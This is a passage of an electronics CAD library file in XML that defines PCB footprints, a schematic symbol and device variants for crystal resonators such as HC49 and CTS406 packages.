layer=\"43\"/>\n</package>\n<package name=\"86SMX\">\n<description>&lt;b&gt;CRYSTAL RESONATOR&lt;/b&gt;</description>\n<wire x1=\"-3.81\" y1=\"1.905\" x2=\"2.413\" y2=\"1.905\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"2.286\" x2=\"2.413\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"2.413\" y2=\"-1.905\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-2.286\" x2=\"2.413\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-2.286\" x2=\"-6.604\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.334\" y1=\"1.905\" x2=\"-5.334\" y2=\"1.016\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-5.334\" y1=\"-1.905\" x2=\"-3.81\" y2=\"-1.905\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"-2.286\" x2=\"-5.969\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.969\" y1=\"-2.286\" x2=\"-4.191\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.191\" y1=\"-2.286\" x2=\"-3.81\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.969\" y1=\"-2.54\" x2=\"-4.191\" y2=\"-2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"-2.2098\" x2=\"-6.604\" y2=\"-2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-2.286\" x2=\"-6.35\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.969\" y1=\"-2.54\" x2=\"-5.969\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.334\" y1=\"1.016\" x2=\"-5.334\" y2=\"-1.016\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.334\" y1=\"-1.016\" x2=\"-5.334\" y2=\"-1.905\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-5.334\" y1=\"-1.905\" x2=\"-6.35\" y2=\"-2.2098\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-4.191\" y1=\"-2.54\" x2=\"-4.191\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.969\" y1=\"2.54\" x2=\"-4.191\" y2=\"2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.334\" y1=\"1.905\" x2=\"-3.81\" y2=\"1.905\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"2.286\" x2=\"-5.969\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.969\" y1=\"2.286\" x2=\"-4.191\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.191\" y1=\"2.286\" x2=\"-3.81\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.604\" y1=\"2.286\" x2=\"-6.35\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.35\" y1=\"2.2098\" x2=\"-6.604\" y2=\"2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-5.969\" y1=\"2.54\" x2=\"-5.969\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.334\" y1=\"1.905\" x2=\"-6.35\" y2=\"2.2098\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-4.191\" y1=\"2.54\" x2=\"-4.191\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.604\" y1=\"2.286\" x2=\"6.604\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-1.905\" x2=\"6.223\" y2=\"1.905\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-1.905\" x2=\"6.604\" y2=\"-2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"6.604\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"-2.54\" x2=\"5.842\" y2=\"-2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.794\" y1=\"-2.286\" x2=\"2.794\" y2=\"-2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.842\" y1=\"-2.54\" x2=\"5.842\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-2.286\" x2=\"6.223\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-1.905\" x2=\"6.223\" y2=\"-1.905\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"6.223\" y1=\"1.905\" x2=\"6.604\" y2=\"2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"2.286\" x2=\"6.604\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"2.54\" x2=\"5.842\" y2=\"2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.794\" y1=\"2.286\" x2=\"2.794\" y2=\"2.54\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.842\" y1=\"2.54\" x2=\"5.842\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"1.905\" x2=\"6.223\" y2=\"1.905\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"2.286\" x2=\"6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.254\" y1=\"1.651\" x2=\"-0.254\" y2=\"0.381\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.381\" x2=\"0.254\" y2=\"0.381\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.381\" x2=\"0.254\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"1.651\" x2=\"-0.254\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.651\" x2=\"0.635\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.016\" x2=\"0.635\" y2=\"0.381\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.016\" x2=\"1.016\" y2=\"1.016\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.651\" x2=\"-0.635\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.016\" x2=\"-0.635\" y2=\"0.381\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.016\" x2=\"-1.016\" y2=\"1.016\" width=\"0.0508\" layer=\"21\"/>\n<smd name=\"2\" x=\"4.318\" y=\"-2.286\" dx=\"3.556\" dy=\"2.1844\" layer=\"1\"/>\n<smd name=\"3\" x=\"4.318\" y=\"2.286\" dx=\"3.556\" dy=\"2.1844\" layer=\"1\"/>\n<smd name=\"1\" x=\"-5.08\" y=\"-2.286\" dx=\"2.286\" dy=\"2.1844\" layer=\"1\"/>\n<smd name=\"4\" x=\"-5.08\" y=\"2.286\" dx=\"2.286\" dy=\"2.1844\" layer=\"1\"/>\n<text x=\"-3.683\" y=\"2.54\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.683\" y=\"-3.81\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"MM20SS\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-2.032\" y1=\"-1.27\" x2=\"2.032\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-2.032\" y1=\"-1.778\" x2=\"2.032\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.032\" y1=\"1.27\" x2=\"-2.032\" y2=\"1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-2.032\" y1=\"1.778\" x2=\"2.032\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.778\" x2=\"-4.064\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"0.381\" x2=\"-2.921\" y2=\"-0.381\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.778\" x2=\"-3.556\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.556\" y1=\"-1.552\" x2=\"-4.064\" y2=\"-1.778\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-2.032\" y1=\"1.27\" x2=\"-2.921\" y2=\"1.27\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"1.27\" x2=\"-2.921\" y2=\"0.381\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-1.905\" x2=\"-2.54\" y2=\"-1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"-1.905\" x2=\"-3.048\" y2=\"-1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"-1.905\" x2=\"-2.54\" y2=\"-1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"-0.381\" x2=\"-2.921\" y2=\"-1.27\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"-1.27\" x2=\"-2.032\" y2=\"-1.27\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-3.556\" y1=\"-1.778\" x2=\"-2.032\" y2=\"-1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"-1.27\" x2=\"-3.556\" y2=\"-1.552\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-4.064\" y1=\"1.778\" x2=\"-3.556\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.556\" y1=\"1.552\" x2=\"-4.064\" y2=\"1.778\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.27\" x2=\"-3.556\" y2=\"1.552\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"1.778\" x2=\"-3.048\" y2=\"1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"1.905\" x2=\"-2.54\" y2=\"1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"1.905\" x2=\"-2.54\" y2=\"1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.556\" y1=\"1.778\" x2=\"-2.032\" y2=\"1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.064\" y1=\"-1.778\" x2=\"4.064\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.27\" x2=\"3.81\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-1.27\" x2=\"4.064\" y2=\"-1.778\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.556\" y1=\"-1.27\" x2=\"3.81\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.556\" y1=\"-1.778\" x2=\"4.064\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.27\" x2=\"3.556\" y2=\"1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.556\" y1=\"1.27\" x2=\"2.032\" y2=\"1.27\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"3.048\" y1=\"-1.905\" x2=\"3.048\" y2=\"-1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"-1.778\" x2=\"2.54\" y2=\"-1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"-1.905\" x2=\"3.048\" y2=\"-1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.032\" y1=\"-1.27\" x2=\"3.556\" y2=\"-1.27\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"2.032\" y1=\"-1.778\" x2=\"3.556\" y2=\"-1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.81\" y1=\"1.27\" x2=\"4.064\" y2=\"1.778\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.556\" y1=\"1.778\" x2=\"4.064\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"1.905\" x2=\"2.54\" y2=\"1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.048\" y1=\"1.778\" x2=\"3.048\" y2=\"1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"1.905\" x2=\"3.048\" y2=\"1.905\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.032\" y1=\"1.778\" x2=\"3.556\" y2=\"1.778\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.778\" y1=\"-0.254\" x2=\"-0.508\" y2=\"-0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"-0.254\" x2=\"-0.508\" y2=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0.254\" x2=\"-1.778\" y2=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"0.254\" x2=\"-1.778\" y2=\"-0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"0.635\" x2=\"-1.143\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"0.635\" x2=\"-0.508\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"0.635\" x2=\"-1.143\" y2=\"1.016\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"-0.635\" x2=\"-1.143\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-0.635\" x2=\"-0.508\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-0.635\" x2=\"-1.143\" y2=\"-1.016\" width=\"0.0508\" layer=\"21\"/>\n<circle x=\"3.048\" y=\"0\" radius=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.794\" y=\"-1.524\" dx=\"1.27\" dy=\"1.8796\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.794\" y=\"-1.524\" dx=\"1.27\" dy=\"1.8796\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.794\" y=\"1.524\" dx=\"1.27\" dy=\"1.8796\" layer=\"1\"/>\n<smd name=\"4\" x=\"-2.794\" y=\"1.524\" dx=\"1.27\" dy=\"1.8796\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.81\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"MM39SL\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-3.683\" y1=\"-1.651\" x2=\"3.683\" y2=\"-1.651\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"-2.286\" x2=\"3.683\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"2.286\" x2=\"3.683\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"1.651\" x2=\"-3.683\" y2=\"1.651\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-6.223\" y1=\"-2.286\" x2=\"-6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"1.651\" x2=\"-4.826\" y2=\"0.762\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-2.286\" x2=\"-3.683\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.826\" y1=\"-1.651\" x2=\"-3.683\" y2=\"-1.651\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-2.055\" x2=\"-6.223\" y2=\"-2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-6.223\" y1=\"-2.286\" x2=\"-5.715\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"0.762\" x2=\"-4.826\" y2=\"-0.762\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"-0.762\" x2=\"-4.826\" y2=\"-1.651\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-4.826\" y1=\"-1.651\" x2=\"-5.715\" y2=\"-2.055\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"2.286\" x2=\"-3.683\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.683\" y1=\"1.651\" x2=\"-4.826\" y2=\"1.651\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-6.223\" y1=\"2.286\" x2=\"-5.715\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"2.055\" x2=\"-6.223\" y2=\"2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"1.651\" x2=\"-5.715\" y2=\"2.055\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"-1.651\" x2=\"5.842\" y2=\"1.651\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"-1.651\" x2=\"6.223\" y2=\"-2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-2.286\" x2=\"6.223\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-2.286\" x2=\"5.715\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"-1.651\" x2=\"5.842\" y2=\"-1.651\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-1.651\" x2=\"5.715\" y2=\"-1.651\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"5.842\" y1=\"1.651\" x2=\"6.223\" y2=\"2.286\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"1.651\" x2=\"5.715\" y2=\"1.651\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"2.286\" x2=\"6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"2.286\" x2=\"5.715\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"1.651\" x2=\"3.683\" y2=\"1.651\" width=\"0.0508\" layer=\"51\"/>\n<wire x1=\"-3.81\" y1=\"-0.254\" x2=\"-2.54\" y2=\"-0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.254\" x2=\"-2.54\" y2=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0.254\" x2=\"-3.81\" y2=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0.254\" x2=\"-3.81\" y2=\"-0.254\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0.635\" x2=\"-3.175\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0.635\" x2=\"-2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0.635\" x2=\"-3.175\" y2=\"1.016\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-0.635\" x2=\"-3.175\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-0.635\" x2=\"-2.54\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-0.635\" x2=\"-3.175\" y2=\"-1.016\" width=\"0.1016\" layer=\"21\"/>\n<circle x=\"5.08\" y=\"0\" radius=\"0.254\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.699\" y=\"-1.778\" dx=\"1.778\" dy=\"1.778\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.699\" y=\"-1.778\" dx=\"1.778\" dy=\"1.778\" layer=\"1\"/>\n<smd name=\"3\" x=\"4.699\" y=\"1.778\" dx=\"1.778\" dy=\"1.778\" layer=\"1\"/>\n<smd name=\"4\" x=\"-4.699\" y=\"1.778\" dx=\"1.778\" dy=\"1.778\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.032\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"CTS406\">\n<description>&lt;b&gt;Model 406 6.0x3.5mm Low Cost Surface Mount Crystal&lt;/b&gt;&lt;p&gt;\nSource: 008-0260-0_E.pdf</description>\n<wire x1=\"-2.475\" y1=\"1.65\" x2=\"-1.05\" y2=\"1.65\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.05\" y1=\"1.65\" x2=\"1.05\" y2=\"1.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"1.65\" x2=\"2.475\" y2=\"1.65\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.9\" y1=\"1.225\" x2=\"2.9\" y2=\"0.3\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.9\" y1=\"0.3\" x2=\"2.9\" y2=\"-0.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.9\" y1=\"-0.3\" x2=\"2.9\" y2=\"-1.225\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.475\" y1=\"-1.65\" x2=\"1.05\" y2=\"-1.65\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.05\" y1=\"-1.65\" x2=\"-1.05\" y2=\"-1.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.05\" y1=\"-1.65\" x2=\"-2.475\" y2=\"-1.65\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.9\" y1=\"-1.225\" x2=\"-2.9\" y2=\"-0.3\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.9\" y1=\"-0.3\" x2=\"-2.9\" y2=\"0.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.9\" y1=\"0.3\" x2=\"-2.9\" y2=\"1.225\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.9\" y1=\"1.225\" x2=\"-2.475\" y2=\"1.65\" width=\"0.2032\" layer=\"51\" curve=\"89.516721\"/>\n<wire x1=\"2.475\" y1=\"1.65\" x2=\"2.9\" y2=\"1.225\" width=\"0.2032\" layer=\"51\" curve=\"89.516721\"/>\n<wire x1=\"2.9\" y1=\"-1.225\" x2=\"2.475\" y2=\"-1.65\" width=\"0.2032\" layer=\"51\" curve=\"89.516721\"/>\n<wire x1=\"-2.475\" y1=\"-1.65\" x2=\"-2.9\" y2=\"-1.225\" width=\"0.2032\" layer=\"51\" curve=\"89.516721\"/>\n<circle x=\"-2.05\" y=\"-0.2\" radius=\"0.182\" width=\"0\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.2\" y=\"-1.2\" dx=\"1.9\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.2\" y=\"-1.2\" dx=\"1.9\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.2\" y=\"1.2\" dx=\"1.9\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"4\" x=\"-2.2\" y=\"1.2\" dx=\"1.9\" dy=\"1.4\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.81\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"Q\">\n<wire x1=\"1.016\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-0.381\" y1=\"1.524\" x2=\"-0.381\" y2=\"-1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.381\" y1=\"-1.524\" x2=\"0.381\" y2=\"-1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.381\" y1=\"-1.524\" x2=\"0.381\" y2=\"1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.381\" y1=\"1.524\" x2=\"-0.381\" y2=\"1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"1.778\" x2=\"1.016\" y2=\"-1.778\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"1.778\" x2=\"-1.016\" y2=\"-1.778\" width=\"0.254\" layer=\"94\"/>\n<text x=\"2.54\" y=\"1.016\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"2.54\" y=\"-2.54\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<text x=\"-2.159\" y=\"-1.143\" size=\"0.8636\" layer=\"93\">1</text>\n<text x=\"1.524\" y=\"-1.143\" size=\"0.8636\" layer=\"93\">2</text>\n<pin name=\"2\" x=\"2.54\" y=\"0\" visible=\"off\" length=\"point\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"1\" x=\"-2.54\" y=\"0\" visible=\"off\" length=\"point\" direction=\"pas\" swaplevel=\"1\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"CRYSTAL\" prefix=\"Q\" uservalue=\"yes\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"Q\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"HC49S\" package=\"HC49/S\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1667008\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49GW\" package=\"HC49GW\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49TL-H\" package=\"HC49TL-H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49U-H\" package=\"HC49U-H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1666973\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49U-LM\" 